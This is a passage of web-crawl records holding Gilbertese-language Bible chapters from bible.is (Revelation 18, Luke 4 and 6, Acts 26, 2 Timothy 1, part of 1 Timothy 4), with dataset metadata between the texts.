na kaangai, \"Ai kaawa ra, ai kaawa ra, te kaawa are kakannato, are kunnikaiaki n te rinen ae e raoiroi, ma te kunnikai ae ura-roo, ma ae uraura, are te kaawa are katamaroaaki n te koora ma atibu aika kakawaki ma moomi! 17B'a a kamaunaki kaub'ai akekei i nanon teuana te aoa.\" Ao kaaben ma akana boborau nakon te tabo teuana ma teuana, ao kaimoa ma akana bob'ai i tari, a bane n tei mai kiraroa, 18ao a takarua ngke a nora bubuni buena, ao a kaangai, \"Bon akea te kaawa ae ai aron te kaawa ae kakannato arei\" 19A kaaki te tano i aon atuia b'a a nanokawaki, ao a tang ma n tanginiwenei, ao a kaangai, \"Ai kaawa ra, ai kaawa ra, te kaawa are kakannato, are a bane n reke mai iai kaub'aia te koraki ni kabane ake iai aia kaibuke i marawa, ni kaub'aina; b'a a kamaunaki kaub'aina i nanon teuana te aoa.\" 20Ko na kim'areirei, karawa, n te b'ai ae riki nakoina; ao kam na kim'areirei naba ngkami aika kam itiaki, ma taan tuatua, ma burabeti: b'a E karekei kaina te Atua i bukin te baere e karaoi nakoimi. 21Ao temanna te anera ae korakora e tabeka te atibu ae ab'akin te atibu n ii b'araua, ae te atibu ae ab'ab'aki, ao e tewea nako marawa; ao e kaangai, \"Ao aio aroni B'aburon, are te kaawa are kakannato: e na kab'akaki ni karurunginakoaki, ao e na aki manga noraki. 22Ao aomata a na aki manga ongo i nanom tangin taian aabi, ma b'anaaia aika rabakau n anene, ma tangini b'aai ni katangitang aika kaib'ab'aa, ma tangin taiani bu; ao e na bon aki manga noraki naba i nanom te aomata ae te tia karaoi b'aai aika tamaroa mani b'aai n aekaia nako, ao ai uana naba ma karongoaan te atibu n ii b'araua. 23E na bon aki manga oota ootan te taura i nanom, ao a na bon aki manga ongo aomata b'anaan te tia iein ae te m'ane i nanom, ma b'anaan te aine ae a tib'a iein. B'a a kakannato i aonnaba am aomata aika taani bitineti, ao a bane botannaomata nako ni m'am'anaki n am tabunea.\" 24A noraki i nanon te kaawa ae B'aburon raraaia burabeti ma ake a itiaki, ao raraaia naba te koraki ni kabaneia ake a kamateaki i aonnaba.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/18","date":"2016-06-01T07:26:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464056639771.99\/warc\/CC-MAIN-20160524022359-00238-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":983,"character_repetition_ratio":0.061,"word_repetition_ratio":0.024,"special_characters_ratio":0.25,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E oki Iesu man te karaanga are te Ioretan ao E kaonaki n te Tamnei are Raoiroi. E kairaki iroun te Tamnei 2Ao E tiku ikekei abwi te bong ni kaririaki iai iroun te riaboro. Akea te bae E kanna i nanoni boong akanne; ao ngke a bane boong akanne, ao E rotaki n te baki. 3E taku te riaboro nako Ina, \"Ngkana Natin te Atua Ngkoe, ao taetae b'a e na riki n am'arake te atibu aei.\" 4Ao Iesu E kaeka ni kangai, \"E koreaki ae kangai, 'E aki maiu te aomata n ti te am'arake.' \" 5Ao te riaboro e kaira rake Iesu nakon te tabo ae rietaata, ao e kaoti nako Ina n te tai ae waekoa aaba nako n te aonnaba, 6Ao e taku nako Ina, \"N na anganiko aaba akekei ma tamaroaia; b'a I a tia n anganaki, ao I kona n anga nakon ane I kan anganna. 7Am b'ai baikekei ni kabane ngkana Ko bobaraaki n taromauriai.\" 8Ao Iesu E kaeka ni kangai, \"E koreaki ae kangai, 'Ko na taromauria te Uea ae Atuam, ao ko na toro i Rouna n ti Ngaia!' \" 9Ao e kaira Iesu te riaboro nako Ierutarem, ao e kateia i aon te tabo ae te kabanea n rietaata i taubukin te um'antabu, ao e taku nako Ina, \"Ngkana Natin te Atua Ngkoe, ao Ko na ewe nako maikai; 10B'a e koreaki ae kangai, 'Ane E na tuangiia ana anera b'a a na kawakiniko, 11ao ane a na uotiko i aoni baiia, b'a e kawa n toki waem n te atibu.' \" 12Ao Iesu E kaeka ni kangai, \"E atongaki ae kangai, 'Ko na aki kataa te Uea ae Atuam!' \" 13Ao ngke a bane ana m'akuri ni kariri te riaboro, ao e kitana Iesu ni karokoa manga reken ana tai ae na angaraoi. 14Ao E okira Kariraia Iesu ni m'aakan ana kairiri te Tamnei 15Ao E reirei ni m'aneabaia I-Iutaia, ao a bane aomata ni kamoamoaa. 16Ao E roko i Natareta, are te tabo are E kaikawaki iai; ao n aron are E kakaraoia, E nako ni m'aneabaia I-Iutaia, n te bong ae te Taabati, 17ao E anganaki ana boki te burabeti are Itaia. E kab'ara te nira ni boki, ao e reke i Rouna te tabo are e koreaki iai ae kangai, 18\"E mena Tamnein te Uea i aou, i bukina b'a e a tia n rineai b'a N na tataekina te rongorongo ae raoiroi nakoia akana aki kaub'ai. E kanakoai b'a N na tuangiia ake a riki b'a taenikai kainaomataia, ao ake a mataki b'a a na manga noraba, ao ni kainaomataaki ni kabane ake a karawawataki iai, 19ao N na katanoata ae kangai b'a n te ririki aei ao E na kaota ana akoi te Atua nakoia aomata.\" 20E niira te boki Iesu, ao E a manga angan te tia kawakinna, ao E tekateka; ao aomata ake a mena ikekei a bane ni katokai mataia n taraia. 21Ao ngkanne E taku nako ia, \"N te bong aei, ao e a kakoroaki iai nanon taeka aika koreaki n te m'akoro ni B'aib'ara aei n aron are kam a tia n ongo iai ngke e warekaki.\" 22A bane aomata ni kaoti kukurein nanoia i Rouna n aia taeka, ao a mimi n taeka aika nako mai wiina b'a a kamaiu nano; ao a taku, \"Tiaki natin Ioteb'a Teuaei?\" 23Ao E taku nako ia, Ane kam na bon tabeki nako Iu m'anewen te taeka n rabakau ae kangai, \"Te tia katoki aoraki, kamaiuko.\" Te baere ti ongo b'a Ko karaoia i Kaberenaum, ao Ko na karaoia naba ikai i abam. 24E a manga taku riki nako ia, E koaua ae I taku nako imi, b'a akea te burabeti ae butim'aeaki raoi n oin abana. 25\"Bon te koaua ae I tuangngkami, b'a a m'aiti aine ake a mate buia i aon Iteraera n ana tai Eria, ngke e aki b'aka te karau i nanon tenua te ririki ao onoua nam'akaina, ao e roko te rongo ae korakora i aon te aba ni kabutaa. 26ao e kanakoaki Eria tiaki nako ia ni kabaneia ma ti nakon te aine are e mate buuna are maeka i Tareb'ata n te aba are Titon. 27Ao a m'aiti reebera i aon Iteraera n ana tai te burabeti are Eritai, ma e kamaiuaki ti temanna mai buakoia b'a Naaman mai Turia.\" 28A rangi n un aomata ake a mena ni m'aneabaia I-Iutaia, ngke a ongo ana karaki aikai. 29Ao a tei rake, ao a kanakoa Iesu man te kawa. A kairiia nakon te tabo ae katati ae rarikin te tabuki are e tei i aona aia kawa, b'a a na karenakoa maiai. 30Ma E ri buakoia Iesu ao E nako. 31Ao E nako Kaberenaum are kawani Kariraia, ao E reireia aomata iai n te Taabati; 32ao a mimi n ana reirei, b'a e m'aaka ana taeka. 33Ao i nanoni m'aneabaia I-Iutaia, iai te aomata ae reke i rouna tamnein te taimonio ae kam'ara. E takarua n te b'ana ae korakora ni kangai: 34\"A! Tera am b'ai i roura, Iesu ae te I-Natareta? Ko nako mai b'a Ko na uruira? I kinako b'a Teuare Raoiroi, are mairoun te Atua.\" 35Ma Iesu E takuia ao E taku, Tai karongoa, ao oti nako mai rouna! Ao ngke e a tia te taimonio ni boaketan teuarei i mataia aomata ake a mena ikekei, ao e oti nako mai rouna n aki kaikoakia. 36A bane ni mimi aomata ao a i taetae i rouia ni kangai, \"Te aeka n taeka tera te baei? B'a n ana konaa ao ni m'aakana, ao E tuangiia anti aika kam'araa b'a a na oti nako, ao a ongo i Rouna.!\" 37Ao e buta nako taekan Iesu ni kaawa ake i rarikini Kaberenaum. 38Ao E tei rake Iesu ao E kitana m'aneabaia I-Iutaia, ao E rin n ana auti Timon. E aoraki tinani buun Timon n te kabuebue ae korakora, ao a tuangnga b'a E na buokia. 39E tei Iesu ni kaan ma rarikina ao E taetae ma b'anaana ae matoatoa nakon te kabuebue, ao e toki kabuebuen neierei; ao e tei rake naba ngkekei ao e touati i rouia. 40Ngke e a bungi taai, ao a bane aomata ake iai i rouia aia aoraki n uotiia nako Ina; ao E katokai baina i aon temanna ma temanna ao a kamaiuaki. 41A oti nako naba taimonio mairouia aomata aika bati, ao a takarua ni kangai, \"Bon Natin te Atua Ngkoe!\" Ma E takuia b'a a na akea te b'ai ae a na taekinna, i bukina b'a a ataia n ae te Kristo Ngaia. 42Ngke e a ngaina, ao E nako Iesu nakon te tabo ae akea te maeka iai. A kakaaea aomata, ao ngke a roko i Rouna, ao a kan taua b'a E na aki nako mai rouia. 43Ma E taku nako ia, \"I riai n taekina te rongorongo ae raoiroi ae taekan Uean te Atua nakoni kaawa nako; b'a aei bukini kanakomaiakau.\" 44Ao E wakina taetaekinan ana taeka te Atua i nanoni m'aneabaia nako I-Iutaia i nanoni kaawa nako.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/4","date":"2016-05-30T03:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049288709.26\/warc\/CC-MAIN-20160524002128-00115-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1174,"character_repetition_ratio":0.053,"word_repetition_ratio":0.002,"special_characters_ratio":0.261,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te bong ae te Taabati, ngke E ri nukan nnen te aroka ae te uita Iesu ma ana reirei, ao a anai uaa n uita ana reirei, a bubui i baiia, ao a kang. 2A noraki irouia B'aritaio tabem'aang, ao a taku nako ia, \"E aera ngkai kam karaoa ae ekaanako te tua i bukin te Taabati?\" 3E kaekaia Iesu ao E taku, \"Kam tuai ni wareka taekan te baere e karaoia Tawita ngke e baki, ngaia ma ake raona? 4E rin i nanon ana auti te Atua ao e anaa te berena are kaotiotaki are a tii katauaki i bukiia ibonga b'a ana kanna. Tawita e aki kanna n tii ngaia ma e anganiia naba ake raona b'a a na kanna?\" 5E a manga taku riki nako ia, \"Natin te aomata bon Uean te Taabati.\" 6N te Taabati teuana, ngke E rin Iesu ni m'aneabaia I-Iutaia ao E reireia aomata iai; ao e mena ikekei temanna ae e mate baina ae ataina. 7A taratara Iesu taani koroboki ma B'aritaio, b'a tao E na karaoa te m'akuri ni kamaiu n te Taabati ke E na aki, b'a a kani karekea kabuakakana. 8Ma E atai nanoia Iesu, ma ngaia are E taku nakon te aomata are e mate baina, Nako mai tei ikai. Ao ngaia e tei rake ao e nako n tei ikekei. 9Ao E taku nako ia Iesu, \"I tuangngkami, e ekakinako nako te tua i bukin te Taabati ni karaoan ae raoiroi ke ae buakaka nakon te aomata, ni kamaiuana ke ni kamateana?\" 10Ao E taraia nako ni kabaneia, ao E taku nako ina, \"Arora nako baim.\" E karaoa tuangana teuarei, ao e a manga oki marurungini baina. 11A rangi n un ao a iango i rouia b'a tera ae a na karaoia nakon Iesu. 12Ni boong akekei, ao E nako Iesu nakon te maunga b'a E na tataro iai, ao E kangainaa n tataro nakon te Atua. 13Ngke e a ingabong, ao E weteia ana reirei ao E rineia tengauni ma uoman mai buakoia, ao E atongiia b'a taan tuatua, Aikai araia; 14Timon, are E anganaki arana teuana iroun Iesu b'a Betero, ao Anterea are tarina; Iakobo ao Ioane, Biribo ma B'aretorom'aio, 15Mataio ma Toma, Iakobo are natin Areb'aio ao Timon are aranaki b'a Terote, 16Iuta are tarin Iakobo ao Iuta Itekariota, are e riki rimwi b'a te tia kam'anea Iesu. 17Ao E ruo Iesu man te maunga ma uake tengauni ma uoman ao E tei n te tabo ae aoraoi ni botaki ma ana reirei aika rangi ni m'aiti ao aomata aika bati ake a roko mai Iutaia ao Ierutarem ao man taabo ake i rarikin taari i Tuuro ao i Titon. A roko b'a a na ongora iroun Iesu ao a na kamaiuaki man aorakiia; 18ao a kamaiuaki ake a taniaki irouia anti ake a buakaka. 19Ao a bane aomata ni kan riingnga, i bukin ae e nako mai Rouna te m'aaka, ao E kamaiuia ni kabaneia. 20E tabeki matana n taraia ana reirei, ao E taku, Kam a kab'aia ngkami akana kam aki kaub'ai, b'a ami b'ai uean te Atua! 21Kam a kab'aia ngkami akana kam baki ngkai, b'a ane kam na nuai. Kam a kab'aia ngkami akana kam tanginiwenei ngkai, b'a ane kam na ngarengare! 22Kam a kab'aia ngkana a ribaingkami aomata, ao ngkana a katinanikuingkami ma n taetaebuakaingkami, ao ngkana a atong arami b'a aara aika kam'araa, i bukin onimakinan Natin te Aomata i roumi! 23Kam na kim'areirei n te bong arei, ao kam na kibakiba rake ni kukurei, b'a noria, a bati kaniwangami i karawa aika kam na anganaki mairoun te Atua; b'a a karaoi naba baikai aia bakatibu nakoia aia burabeti. 24Ma a na reke kaimi ngkami akana kam kaub'ai, b'a a tia n reke karauan nanomi. 25A na reke kaimi ngkami akana kam ngae, b'a ane kam na baki! A na reke kaimi akana kam ngarengare ngkai, b'a ane kam na tanginiwenei ao kam na katumaua te tang! 26A na reke kaimi, ngkana a bane aomata ni kamoamoaingkami, b'a a karaoa naba aron aei aia bakatibu nakoia burabeti ni kewe. 27I taku nako imi akana kam ongora i Rou, Kam na tangiriia ami kairiribai, ao karaoa ae raoiroi nakoia akana ribaingkami. 28Kakab'aiaia akana a taetae ni kamaraiaingkami, ao tataro i bukiia akana a karaoa ae buakaka nako imi. 29Ane orea tabam teuana ao anganna naba tabam ane teuana b'a e na oreia; ao tai rawa n anga am kauatao ni kabaraaki nakon ane e anaa am kabaraaki ane i aan am kauatao. 30Aanga nakon ane butiiko; ao tai tangiri am b'ai b'a a na kaokaki mairoun ane kani uoti nako. 31Karaoa naba nakoia aomata te baere ko kaantaningaia b'a a na karaoia nako im. 32Ngkana kam tangiriia akana tangiringkami, ao tera kamoamoaami ae na reke iai? B'a aomata aika taani bure a tangiria naba aomata ake a tangiraki i rouia. 33Ao ngkana kam karaoa ae raoiroi nakoia akana karaoa ae raoiroi nako imi, ao tera kamoamoaami ae na reke iai? B'a a karaoa naba aron aei taani bure. 34Ao ngkana kam anganiia akana kam taku b'a a na manga kaoka naba m'aitin are kam anga nako, ao tera kamoamoaami ae na reke iai? B'a anganga naba taani bure nakoia taani bure, b'a a aonga ni karekea naba m'aitin are a anga nako mai rouia. 35Ma kam na tangiriia ami kairiribai, ao karaoa ae raoiroi nako ia, ao aanga n aki manga kaantaninga booni mwiina b'a e na okiringkami; ane e na bati te kab'aia ane na reke i roumi iai, ao ane kam na riki b'a natin Teuare Moan te Rietaata; b'a E akoi te Atua nakoia akana bangaomata ao akana iangoia i bon i rouia. 36Kam na b'aina te nanoanga, n ai aron Tamami ae b'aina te nanoanga. 37\"Kam na tai motiki taekaia aomata, ao ane e na aki motikaki taekami iroun te Atua; kam na aki kabuakakaia aomata, ao ane na bon aki naba kabuakakako te Atua; b'aina te kab'arabure, ao ane a na kab'araki am bure iroun te Atua. 38B'aina te angaanga, b'a te Atua e na bon manga anganiko; ane e na kanoaaki rabin kunnikaimi ni kaonrakeaki. E na kaibeaki, e na ioioaki, ao e na taonako kanoana. B'a te baire are kam anga ao ane kam na manga anganaki.\" 39E tuangiia naba Iesu te taeka n rabakau ae kangai, E kona te aomata ae mataki ni kaira te aomata ae mataki? Tiaki ana bon uaia ni b'aka n te kinono iai? 40E aki kakannato riki are reireiaki i aon ana tia reirei, ma ngkana a bane n reireiaki raoi aomata ao ane a na katotonga aron aia tia reirei. 41E aera b'a ko nora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki nora te oka ane i nanoni matam? 42Ao ko kanga n rabakau ni kangai nakon tarim, \"Tariu, N na kaaki te maange ane uarereke mai nanoni matam,\" ngkai ko aki kona te nora te oka ane i nanoni matam? Te tia m'am'ana-te-aba, ko na kaaki moa te oka ane i nanoni matam, ao ko a tib'a konaa n nora raoi kanakoan te maange ae uarereke mai nanoni matan tarim. 43B'a akea te kai ae raoiroi ae na kariki uaana aika bubuaka, ao akea naba te kai ae buakaka ae na kariki uaana aika raraoi. 44B'a a kinaaki aroni kaai nako n uaaia. B'a a aki anaaki biiku mani kaai aika akanta ao kureebe mani kaai aika kateketeke. 45E kaoti baika raraoi te aomata ae raoiroi mani b'ain nanona aika raraoi; ao e kaoti baika bubuaka te aomata ae buakaka mani b'ain nanona aika bubuaka. E taetae te wii man onraken te nano. 46\"E aera ngkai kam atoatonga ae kangai nako Iu: 'Te Uea, te Uea,' ao kam aki ira nanon te bae I tuangngkami? 47Te aomata ane nako Iu ao e ongo au taeka ma n tou mwiia, ao N na tuangngkami arona. 48Ai aron te aomata are katea ana auti. E kena aontano ni kananoa, ao e kawenea iai aan ana auti i aon te b'a; ngke e roko te raanga, ao e neakina te auti arei te raanga, ma e aki kona ni kam'aeia, i bukina b'a e a tia ni katea raoi ana auti te aomata arei. 49Ma ane e ongo au taeka ma n aki tou mwiia, ao ai aron te aomata are katea te auti i aontano ma akea aana ae kabongana; e neakinaki te auti n te raanga ao e a b'aka naba, ao e korakora uruakina!\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/6","date":"2016-05-30T14:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051035374.76\/warc\/CC-MAIN-20160524005035-00117-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1418,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e taku Akerib'a nakoni B'auro, \"Ko kariaiakaki b'a ko kona n taetae bon i bukim.\" E arora baina ngkanne B'auro ao e taetae ni kaitarai taekani bukinana, ni kaangai: 2Te uea ae Akerib'a, I taku b'a I a kab'aia, ngkai N nangi taetae n te bong aei ni kaitarai taekani b'aai ni kabane ake I bukinaki iai irouia I-Iutaia, 3i bukina b'a ko atai raoi aia katei I-Iutaia ma baika a aki toki ni kakauntaekai. Ma ngaia ae I butiiko b'a ko na ongora i rou ma te taotaonaki n nano. 4A bane I-Iutaia n ata aroni maiu ma ngke te teei ngai, ngke I moa n rikirake i buakoia au botannaomata, ao i Ierutarem. 5A kaman ata arou ma ngkoa, ngkana iai baikana a kan taekinai iai: b'a I a tia ni kaaina te botaki teuana ae a rangi ni mamatoa tuana, ae te botaki ni B'aritaio. 6Ao I tei ikai ngkai b'a e na motikaki taekau i bukini kaantaningani kakoauan ana taeka n akoi te Atua nakoia ara bakatibu; 7are te taeka are a kaantaningaia ara baronga ake tengauni ma ua baronga, b'a e na kakoroaki bukina nakoia, ngkai a bane nanoia n tataromauria te Atua ni bong ao ni ngaina. Te uea, I bukinaki irouia I-Iutaia i bukin te kaantaninga aei. 8E aera ngkai e kangaanga iroumi b'a kam na kakoaua ae E a manga kamaiuia maate te Atua? 9Ao ngai, n taai ake rimoa, ao I iangoia i bon i rou, b'a N na karaoa ae I kona n eekaanako aran Iesu are te I-Natareta. 10Ao I karaoi baikai i Ierutarem; ao I kainiia ake a itiaki aika bati i nanoni karabuuti ngke I anganaki te m'aaka ni karaoia mairouia ibonga ake mataniwi; ao ngke a kamateaki, ao ngai I kaota naba nanou ni kariaia. 11Ao I aki toki ni karaoi m'akuri n iowawa nakoia i nanoni m'aneabaia I-Iutaia ni kabane, ao I kairoroia b'a a na kakeaa onimakinan Iesu. E korakora ribakiia i rou, n te aro are I bon nako naba ni kaawa ake a raroa riki ni b'ainikiriniia iai. 12Ao bon aio naba bukin are I m'ananga iai nako Tamateko i aani b'anaaia ma m'akaia ibonga ake mataniwi. 13Te uea, i aoni kawaiu ni m'ananga, ngke e a tawanou, ao I nora te oota mai karawa ae raneanea riki ootana nakon ootan taai; e oota i rarikiu ma raou ni m'ananga. 14Ngke ti bane ni b'aka i aontano, ao I ongo te b'ana ae kaangai nako iu n te taetae n Ebera, \"Tauro, Tauro, e aera ngkai ko b'ainikirinai? E kangaanga i roum b'a ko na orei ni waem taboni kaai aika kakang!\" 15Ao ngai I taku, \"Te UEA, antai Ngkoe?\" Ao E taku te UEA, \"Iesu Ngai ae ko b'ainikirinai. 16Ma ko na teirake, ao tei i aoni waem; b'a I kaoti nako im i bukin aei: b'a N na rineiko b'a ko na beku i buku, ao ko na riki b'a te tia taekini baika ko noori irou, ma baika N na manga kaoti nako im.\" 17N na kamaiuko mairouia te botannaomata ae Iteraera ao mairouia aomata aika tiaki I-Iutaia, ake I kanakoko nakoia, 18b'a ko na kaure mataia, b'a a na rairaki man te roo nakon te oota, ao mani m'aakan Tatan nakon te Atua, b'a e aonga n reke i rouia kab'aran aia bure ao neia i buakoia aomata ake a kaitiakaki n onimakinau. 19Ma ngaia are, te uea ae Akerib'a, I aki rawa nakon te baere kanga te mii are kaoti mai karawa; 20ma I tuangiia moa I-Tamateko, ao rimwi I-Ierutarem ma I-Iutaia ni kabaneia, ma aomata naba ake tiaki I-Iutaia, b'a a na rairi nanoia n rairaki nakon te Atua, ao ni karaoi m'akuri aika a na kaotiia iai b'a a tia n rairi nanoia. 21Ao aei bukin are a tauai iai I-Iutaia n te Tembora, ao a kataia ni kamateai. 22Ma E a tia te Atua ni buobuokai ni karokoa te bong aei, ao ngaia ae I a tei iai ngkai n taetae nakoia akana mangori ma akana kakannato, n akea te bae I karakaa n taekinna i rarikin ti aia taeka burabeti ma Mote i bukini baika na roko: 23b'a E na maraki ni mate te Kristo, ao arona ngkae E na manga uti mai buakoia maate, b'a E na moani kaota te oota nakoia te botannaomata ae Iteraera ma aomata aika tiaki I-Iutaia. 24Ngke e taetae B'auro ni kaitarai taekani bukinana n te aro arei, ao e takarua Beteto ao e taku, \"B'auro, ko rangirang! E karangirangko mwin am wareware ni booki aika bati.\" 25Ma e kaeka B'auro ao e taku, \"Beteto ae ko moani kakannato, I aki rangirang, ma I atongi taeka aika koaua aika eti. 26B'a te uea ae I taetae nakoina n aki wii makiki e atai taekani baikai; b'a I taku b'a akea te b'ai teuana n aikai ae karabaki nakoina, b'a e aki karabaki te baei ni karaoaki n te tabo ae e na aki noraki iai.\" 27Te uea ae Akerib'a, \"Ko kakoauaia burabeti? I ataiko b'a ko kakoauaia.\" 28Ao e taku Akerib'a nakoni B'auro, \"Ko anaa nanou b'a N na riki ni Kristian i nanon te tai ae kimototo aei?\" 29Ao e taku B'auro, \"E kimototo ke e ananau, bon au tataro nakon te Atua b'a ko bia riki n arou, ngkoe ma aomata ni kabaneia aika ongora i rou n te bong aei, ma ti taurekereke aikai b'a kam na aki kabaeaki iai!\" 30Ao e teirake te uea, ma Beteto, ma Nei Berenike, ma uake raoia n tekateka, 31ao ngke a nako ao a taetae i rouia ni kaangai, \"E aki karaoa ae e riai matena iai, ke kabaeana iai te aomata arei.\" 32Ao e taku Akerib'a nakoni Beteto, \"E konaa ni kainaomataki te aomata arei ngke arona b'a e aki tangira kautun te tautaeka n Rom b'a e na motika taekana.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/26","date":"2016-05-28T18:31:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278042.87\/warc\/CC-MAIN-20160524002118-00098-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":977,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae B'auro, ae ana tia tuatua Kristo Iesu n nanon te Atua, i bukin te taeka n akoi are taekan te maiu are irouni Kristo Iesu, 2nakon Timoteo, ae natiu ae tangiraki: am b'ai te akoaki, ma te nanoangaaki ma te raoi, mairoun te Atua ae te Tama ma Kristo Iesu are ara Uea. 3I katituaraoa te Atua, ae I toro i rouna ma mataniwin nanou ae itiaki, n ai aron are a karaoia naba au bakatibu. I katituaraoia n taai nako ake I uringko iai n au tataro n te ngaina ao te bong. 4I uringa arom ngke ko tang, ao I rangi ni kan noriko b'a I aonga ni kaonaki n te kim'areirei. 5I aki kona ni m'aninga taekan te onimaki ni koaua ane i nanom, are mena moa i nanon tibum are Nei Roiti ma tinam are Nei Eunike; ao I bon ataia b'a e mena naba ngkai i nanom. 6Ma ngaia ae I tuangko b'a ko na kakorakoraa maiun ana b'ai n tituaraoi te Atua ane i nanom, are e reke i roum ngke I katokaa baiu i aom ni katabuko nakon nakoam. 7B'a E aki anganira te Atua te Tamnei ae karikira b'a ti na mamaku; ma E anganira te Tamnei ae kaoniira n te korakora, te tangira, ma te kona n taon nanora nakoni baika e tangiri te rab'ata. 8Ko na tai mamaa n taekina taekan ara Uea, ao ko na tai mamaa naba i rou, ngai ae I kabureaki i bukini Kristo; ma ko na buokanib'ai ma ngai ni maraki i bukin te euangkerio, ni m'aakan te Atua; 9are kamaiura ao E weteira b'a ti na riki b'a ana aomata, tiaki i bukini baika ti a tia ni karaoi, ma i bukin oin ana kaantaninga ma ana akoi, are ti anganaki ngkai ti reitaki ma Kristo Iesu; ao te akoi aei e a kaman tauraoi i bukira ngke a tuai ni karikaki b'aai; 10ma ngkai, e a kaotaki nako ira n rokon ara Tia Kamaiu are Iesu Kristo, are kamaunaa te mate, ao E kaota te maiu ma te aki-mka n te euangkerio. 11B'a te euangkerio aei ae I baireaki iai b'a te tia taekinna ngai, ao te tia tuatua ma te tia reirei i bukina; 12ao aei bukin ae I maraki iai i bukini baikai. Ma I aki mamaa, b'a I ata Teuare I onimakinna, ao I aki nanokokoraki b'a E boni kona ni kawakina te baere E a tia ni mwiokoai iai ni karokoa te bong arei. 13Ko na tou mwin au taeka aika reirei ni koaua ake ko a tia n ongo i rou b'a te banna ae ko na kakairi iai, ao ko na teimatoa ni b'aina te onimaki ma te tangira aika kanoan arora n reitaki ma Kristo Iesu. 14Ko na kawakina te baere raoiroi are mwiokoaki i roum ni m'aakan te Tamnei are Raoiroi ae maeka i nanora. 15Ko ataiia ake a mena i Atia b'a a bane n nako ni kitanai; ao raoia naba Bukero ma Eremokene. 16E na nanoangaki ana utu Onetiboro iroun te Uea, i bukina b'a e aki toki Onetiboro ni kaungaa nanou, ao e aki mamaa ngkai I kabaeaki: 17ma ngke e mena i Rom, ao e ukoukorai ma nanona ni kan roko i rou, ao I reke i rouna. 18E na reke i rouna nanoangakina iroun te Uea n te bong arei! Ao ko bon atai arona ni kabane ake e karaoi i buku i Ebeto.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/1","date":"2016-05-30T14:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051035374.76\/warc\/CC-MAIN-20160524005035-00192-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":577,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taetae te Tamnei 2aika nako mairouia taani kewe aika m'am'anaa te aba, aika mate mataniwin nanoia b'a kanga mwini kabuokaia n te biti ae kabuebue; 3a tuangiia aomata b'a a na tai iein, ao a na tai kang am'arake nako, aika E kariki te Atua b'a a na kakanaki ma te katituaraoi irouia aika onimaki ma n ata te koaua. 4B'a a bane n raraoi baika karikaki iroun te Atua, ao akea te b'ai teuana ae na kakiaki, ngkana e anaaki ni katituaraoaki te Atua iai, 5i bukina b'a e a katabuaki n ana taeka te Atua ao n te tataro. 6Ngkana ko anga taeka n reirei aikai nakoia taari, ao ko riki iai b'a a na tia m'akuri ae e raoiroi Kristo Iesu, ae ko nabeaki n taekan te onimaki ma taekan reirei aika raraoi, aika ko tou mwiia. 7Ma ko na tai mutiakini karaki aika aki koaua aika bo buaka ma kanoan te euangkerio, aika karaki aika akea nanoia. Kataneiako b'a ko aonga n rangi n reitaki ma nanon te Atua ni maium. 8B'a bon iai teutana bonganani kataneiaan te rab'ata b'a e na marurung, ma te maiu n reitaki ma te Atua e bongana i bukini b'aai ni kabane, ngkai iai taeka n akoi, ae iai te kab'aia iai i bukin te maiu aei, ao i bukin te maiu ae na roko. 9E koaua te taeka aei, ao e riai b'a e na kakiaki i nanoia aomata ni kabaneia: 10B'a ti kakorakoraira ni m'akuri ao ti kekeiaki m'aaka i bukina ngkai ti onimakina te Atua ae maiu, ae aia Tia Kamaiu aomata ni kabaneia, ai moara riki te koraki aika onimaki. 11Ko na tuangiia kaain te ekaretia baikai, ao reireiia iai. 12E na tai kakeaa bonganam temanna ngkai te rorobuaka n ataei ngkoe; ma ko na riki b'a te banna ni kakairi nakoia aika onimaki, n am taeka, n te bae ko karaoia, n arom n tangira, n 